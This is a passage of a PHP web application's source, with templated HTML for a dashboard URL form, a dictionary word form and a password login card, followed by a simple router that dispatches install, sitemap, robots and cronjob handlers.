                <span>{$lang['runinstall'][$config['lang']]}</span>
            </button>
        </form>
    EOT;
}

// Content Dashboard
function content_dashboard(){
    // Global
    global $config, $lang, $iferr;
    // HTML
    return <<<EOT
        <div class="alert alert-primary" role="alert">
            <span>{$lang['welcome'][$config['lang']]}</span>
        </div>
        <form action="index.php?router=dashboard" method="post">
            {$iferr}
            <div class="mb-3">
                <label>{$lang['urls'][$config['lang']]}</label>
                <textarea name="urls" id="urls" cols="30" rows="10" class="form-control" placeholder="..."></textarea>
            </div>
            <div class="mb-3">
                <label>{$lang['days'][$config['lang']]}</label>
                <input type="number" name="days" id="days" class="form-control" placeholder="1" min="1">
            </div>
            <button name="submit" type="submit" class="btn btn-primary">
                <i class="fa fa-save"></i>
                <span>{$lang['save'][$config['lang']]}</span>
            </button>
        </form>
    EOT;
}

// Content Dictionary
function content_dictionary(){
    // Global
    global $config, $lang, $iferr;
    // Vars
    $gettotalwords = total_words();
    // HTML
    return <<<EOT
        <ol class="breadcrumb">
            <li class="breadcrumb-item"><a href="index.php?router=dashboard">{$lang['dashboard'][$config['lang']]}</a></li>
            <li class="breadcrumb-item active">{$lang['dictionary'][$config['lang']]}</li>
        </ol>
        <form action="index.php?router=dictionary" method="post">
            {$iferr}
            <div class="mb-3">
                <label>{$lang['words'][$config['lang']]}</label>
                <textarea name="words" id="words" cols="30" rows="10" class="form-control" placeholder="..."></textarea>
            </div>
            <button name="submit" type="submit" class="btn btn-primary">
                <i class="fa fa-save"></i>
                <span>{$lang['save'][$config['lang']]}</span>
            </button>
        </form>
        <div class="mt-3">
            <span class="badge bg-danger">{$gettotalwords} {$lang['words'][$config['lang']]}</span>
        </div>
    EOT;
}

// Content Login
function content_login(){
    // Global
    global $config, $lang, $iferr;
    // Check
    if(@$_SESSION[$_SERVER['HTTP_HOST']]): header("location:index.php?router=dashboard"); endif;
    // HTML
    return <<<EOT
        <div class="card text-white bg-secondary mb-3" style="max-width: 20rem;margin:auto;">
            <div class="card-header">{$lang['enter'][$config['lang']]}</div>
            <div class="card-body">
                <form action="index.php?router=login" method="post">
                    {$iferr}
                    <div class="mb-3">
                        <input type="password" name="password" id="password" class="form-control">
                    </div>
                    <div class="d-grid">
                        <button type="submit" name="submit" class="btn btn-primary btn-block">
                            <i class="fa fa-user"></i>
                            {$lang['enter'][$config['lang']]}
                        </button>
                    </div>
                </form>
            </div>
        </div>
    EOT;
}

// Routers
if($router === 'install'): echo global_template('Install', check_login(content_install())); endif;
if($router === 'dashboard'): echo global_template('Dashboard', check_login(content_dashboard())); endif;
if($router === 'dictionary'): echo global_template('Dictionary', check_login(content_dictionary())); endif;
if($router === 'login'): echo global_template('Login', content_login()); endif;
if($router === 'index'): run_index(); endif;
if($router === 'sitemap'): run_sitemap(); endif;
if($router === 'robots'): run_robots(); endif;
if($router === 'cronjob'): run_cronjob(); endif;